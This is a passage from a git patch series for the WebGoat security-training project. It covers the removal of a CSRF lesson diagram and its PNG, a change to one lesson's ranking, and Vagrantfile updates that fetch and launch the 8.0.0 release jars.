","paddingLeft":2,"paddingRight":2,"paddingBottom":2,"paddingTop":2}},"children":null}],"linkMap":[]},{"x":499,"y":200,"rotation":0,"id":18,"uid":"com.gliffy.shape.basic.basic_v1.default.line","width":100,"height":100,"lockAspectRatio":false,"lockShape":false,"order":18,"graphic":{"type":"Line","Line":{"strokeWidth":2,"strokeColor":"#000000","fillColor":"none","dashStyle":null,"startArrow":0,"endArrow":1,"startArrowRotation":"auto","endArrowRotation":"auto","ortho":false,"interpolationType":"linear","cornerRadius":null,"controlPath":[[0,0],[-304.00164473239283,-1.1368683772161603e-13]],"lockSegments":{}}},"children":[{"x":0,"y":0,"rotation":0,"id":19,"uid":null,"width":132,"height":14,"lockAspectRatio":false,"lockShape":false,"order":"auto","graphic":{"type":"Text","Text":{"tid":null,"valign":"middle","overflow":"both","vposition":"none","hposition":"none","html":"

Message gets displayed

","paddingLeft":2,"paddingRight":2,"paddingBottom":2,"paddingTop":2}},"children":null}],"linkMap":[]},{"x":204,"y":174,"rotation":0,"id":15,"uid":"com.gliffy.shape.basic.basic_v1.default.line","width":100,"height":100,"lockAspectRatio":false,"lockShape":false,"order":15,"graphic":{"type":"Line","Line":{"strokeWidth":2,"strokeColor":"#000000","fillColor":"none","dashStyle":null,"startArrow":0,"endArrow":1,"startArrowRotation":"auto","endArrowRotation":"auto","ortho":false,"interpolationType":"linear","cornerRadius":null,"controlPath":[[-4.000000000000028,-0.8629150101523919],[296,-0.8629150101523919]],"lockSegments":{}}},"children":[{"x":0,"y":0,"rotation":0,"id":16,"uid":null,"width":112,"height":14,"lockAspectRatio":false,"lockShape":false,"order":"auto","graphic":{"type":"Text","Text":{"tid":null,"valign":"middle","overflow":"both","vposition":"none","hposition":"none","html":"

User clicks message

","paddingLeft":2,"paddingRight":2,"paddingBottom":2,"paddingTop":2}},"children":null}],"linkMap":[]},{"x":499,"y":137,"rotation":0,"id":11,"uid":"com.gliffy.shape.basic.basic_v1.default.line","width":100,"height":100,"lockAspectRatio":false,"lockShape":false,"order":11,"graphic":{"type":"Line","Line":{"strokeWidth":2,"strokeColor":"#000000","fillColor":"none","dashStyle":null,"startArrow":0,"endArrow":1,"startArrowRotation":"auto","endArrowRotation":"auto","ortho":false,"interpolationType":"linear","cornerRadius":null,"controlPath":[[1,3],[-299,3]],"lockSegments":{}}},"children":[{"x":0,"y":0,"rotation":0,"id":14,"uid":null,"width":133,"height":14,"lockAspectRatio":false,"lockShape":false,"order":"auto","graphic":{"type":"Text","Text":{"tid":null,"valign":"middle","overflow":"both","vposition":"none","hposition":"none","html":"

Messages are displayed

","paddingLeft":2,"paddingRight":2,"paddingBottom":2,"paddingTop":2}},"children":null}],"linkMap":[]},{"x":205,"y":119,"rotation":0,"id":7,"uid":"com.gliffy.shape.basic.basic_v1.default.line","width":100,"height":100,"lockAspectRatio":false,"lockShape":false,"order":7,"graphic":{"type":"Line","Line":{"strokeWidth":2,"strokeColor":"#000000","fillColor":"none","dashStyle":null,"startArrow":0,"endArrow":1,"startArrowRotation":"auto","endArrowRotation":"auto","ortho":false,"interpolationType":"linear","cornerRadius":null,"controlPath":[[-5,-2.137084989847608],[295,-2.137084989847608]],"lockSegments":{}}},"children":[{"x":0,"y":0,"rotation":0,"id":10,"uid":null,"width":117,"height":14,"lockAspectRatio":false,"lockShape":false,"order":"auto","graphic":{"type":"Text","Text":{"tid":null,"valign":"middle","overflow":"both","vposition":"none","hposition":"none","html":"

Users types message

","paddingLeft":2,"paddingRight":2,"paddingBottom":2,"paddingTop":2}},"children":null}],"linkMap":[]},{"x":40,"y":90,"rotation":0,"id":0,"uid":"com.gliffy.shape.basic.basic_v1.default.square","width":160,"height":160,"lockAspectRatio":true,"lockShape":false,"order":0,"graphic":{"type":"Shape","Shape":{"tid":"com.gliffy.stencil.rectangle.basic_v1","strokeWidth":2,"strokeColor":"#333333","fillColor":"#FFFFFF","gradient":false,"dropShadow":false,"state":0,"shadowX":0,"shadowY":0,"opacity":1}},"children":[{"x":2,"y":0,"rotation":0,"id":5,"uid":null,"width":156,"height":14,"lockAspectRatio":false,"lockShape":false,"order":"auto","graphic":{"type":"Text","Text":{"tid":null,"valign":"middle","overflow":"none","vposition":"none","hposition":"none","html":"

CSRF-Lesson

","paddingLeft":2,"paddingRight":2,"paddingBottom":2,"paddingTop":2}},"children":null}],"linkMap":[]},{"x":500,"y":90,"rotation":0,"id":4,"uid":"com.gliffy.shape.basic.basic_v1.default.square","width":160,"height":160,"lockAspectRatio":true,"lockShape":false,"order":1,"graphic":{"type":"Shape","Shape":{"tid":"com.gliffy.stencil.rectangle.basic_v1","strokeWidth":2,"strokeColor":"#333333","fillColor":"#FFFFFF","gradient":false,"dropShadow":false,"state":0,"shadowX":0,"shadowY":0,"opacity":1}},"children":[{"x":2,"y":0,"rotation":0,"id":6,"uid":null,"width":156,"height":14,"lockAspectRatio":false,"lockShape":false,"order":"auto","graphic":{"type":"Text","Text":{"tid":null,"valign":"middle","overflow":"none","vposition":"none","hposition":"none","html":"

WebGoat-Server

","paddingLeft":2,"paddingRight":2,"paddingBottom":2,"paddingTop":2}},"children":null}],"linkMap":[]}],"background":"#FFFFFF","width":660,"height":250,"maxWidth":5000,"maxHeight":5000,"nodeIndex":25,"autoFit":true,"exportBorder":false,"gridOn":true,"snapToGrid":true,"drawingGuidesOn":true,"pageBreaksOn":false,"printGridOn":false,"printPaper":"LETTER","printShrinkToFit":false,"printPortrait":true,"shapeStyles":{"com.gliffy.shape.basic.basic_v1.default":{"fill":"#FFFFFF","stroke":"#333333","strokeWidth":2}},"lineStyles":{"global":{"endArrow":1}},"textStyles":{},"themeData":null}} \ No newline at end of file diff --git a/webgoat-container/documentation/csrf-lessons.png b/webgoat-container/documentation/csrf-lessons.png deleted file mode 100644 index 6360d337dc19ffd512b01a0469f7fd96a9c3853b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 16587 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 diff --git a/webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/plugin/WebWolfIntroduction.java b/webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/plugin/WebWolfIntroduction.java index d533a15e22..9aa0af2916 100644 --- a/webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/plugin/WebWolfIntroduction.java +++ b/webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/plugin/WebWolfIntroduction.java @@ -48,7 +48,7 @@ public List getHints() { @Override public Integer getDefaultRanking() { - return 1; + return 10; } @Override From ae92ac6808a200b14a5bd03bb585c59fc4d919f2 Mon Sep 17 00:00:00 2001 From: nbaars Date: Tue, 9 Jan 2018 12:42:57 +0100 Subject: [PATCH 04/76] Changed the Vagrantfile to contain the correct release name Deleted the Vagrant files for setting up dev environment, today it is easy to setup the dev environment yourself to start working. --- webgoat-images/vagrant-developers/Vagrantfile | 32 ---------- webgoat-images/vagrant-training/Vagrantfile | 8 +-- webgoat-images/vagrant-users/Vagrantfile | 48 -------------- webgoat-images/vagrant_provision.sh | 62 ------------------- 4 files changed, 4 insertions(+), 146 deletions(-) delete mode 100644 webgoat-images/vagrant-developers/Vagrantfile delete mode 100644 webgoat-images/vagrant-users/Vagrantfile delete mode 100644 webgoat-images/vagrant_provision.sh diff --git a/webgoat-images/vagrant-developers/Vagrantfile b/webgoat-images/vagrant-developers/Vagrantfile deleted file mode 100644 index 47b41f3fc9..0000000000 --- a/webgoat-images/vagrant-developers/Vagrantfile +++ /dev/null @@ -1,32 +0,0 @@ -Vagrant.configure(2) do |config| - config.vm.box = "boxcutter/ubuntu1604-desktop" - - - config.vm.provider "virtualbox" do |vb| - vb.gui = true - vb.memory = "4096" - vb.cpus = 2 - vb.name = "WebGoat-Development" - vb.customize ["modifyvm", :id, "--nictype1", "virtio"] - end - - config.ssh.shell = "bash -c 'BASH_ENV=/etc/profile exec bash'" - - config.vm.provision 'shell' do |s| - s.path = '../vagrant_provision.sh' - s.privileged = true - end - - config.vm.provision :shell, privileged:false, inline: <<-SHELL - echo -e "Cloning the WebGoat container repository" - git clone -b master https://github.com/WebGoat/WebGoat.git - echo -e "Cloning the WebGoat Lessons repository" - git clone -b master https://github.com/WebGoat/WebGoat-Lessons.git - SHELL - - config.vm.provision 'shell' do |s| - s.inline = "echo Finished provisioning, login with user vagrant pass vagrant" - end - -end - diff --git a/webgoat-images/vagrant-training/Vagrantfile b/webgoat-images/vagrant-training/Vagrantfile index d6c708fd58..ec6bc9b25e 100644 --- a/webgoat-images/vagrant-training/Vagrantfile +++ b/webgoat-images/vagrant-training/Vagrantfile @@ -19,17 +19,17 @@ Vagrant.configure(2) do |config| end config.vm.provision "shell", inline: <<-SHELL - wget https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.M5/webgoat-server-8.0.0.M6.jar - wget https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.M5/webwolf-8.0.0.M6.jar + wget https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.RELEASE/webgoat-server-8.0.0.RELEASE.jar + wget https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.RELEASE/webwolf-8.0.0.RELEASE.jar sudo add-apt-repository ppa:openjdk-r/ppa sudo apt-get update sudo apt-get install openjdk-8-jre -y SHELL config.vm.provision "shell", run: "always", privileged: false, inline: <<-SHELL - java -jar webgoat-server-8.0.0.M6.jar & + java -jar webgoat-server-8.0.0.RELEASE.jar & sleep 40s - java -jar webwolf-8.0.0.M6.jar + java -jar webwolf-8.0.0.RELEASE.jar SHELL end diff --git a/webgoat-images/vagrant-users/Vagrantfile b/webgoat-images/vagrant-users/Vagrantfile deleted file mode 100644 index 41a97210b8..0000000000 --- a/webgoat-images/vagrant-users/Vagrantfile +++ /dev/null @@ -1,48 +0,0 @@ -#For now use the same as for developers but start WebGoat -#In the future we can add Docker as well and then Vagrant can start the -#Docker container or Chef which setups the Tomcat - -Vagrant.configure(2) do |config| - config.vm.box = "boxcutter/ubuntu1604-desktop" - config.vm.network :forwarded_port, guest: 8080, host: 9999 - config.vm.provider "virtualbox" do |vb| - vb.gui = false - vb.memory = "2048" - vb.cpus = 2 - vb.name = "WebGoat-Users" - vb.customize ["modifyvm", :id, "--nictype1", "virtio"] - end - config.vm.provider "vmware_fusion" do |vf| - vf.gui = false - vf.vmx["memsize"] = 4096 - vf.vmx["numvcpus"] = 2 - vf.vmx["displayname"] = "WebGoat-Users" - end - - config.ssh.shell = "bash -c 'BASH_ENV=/etc/profile exec bash'" - - config.vm.provision 'shell' do |s| - 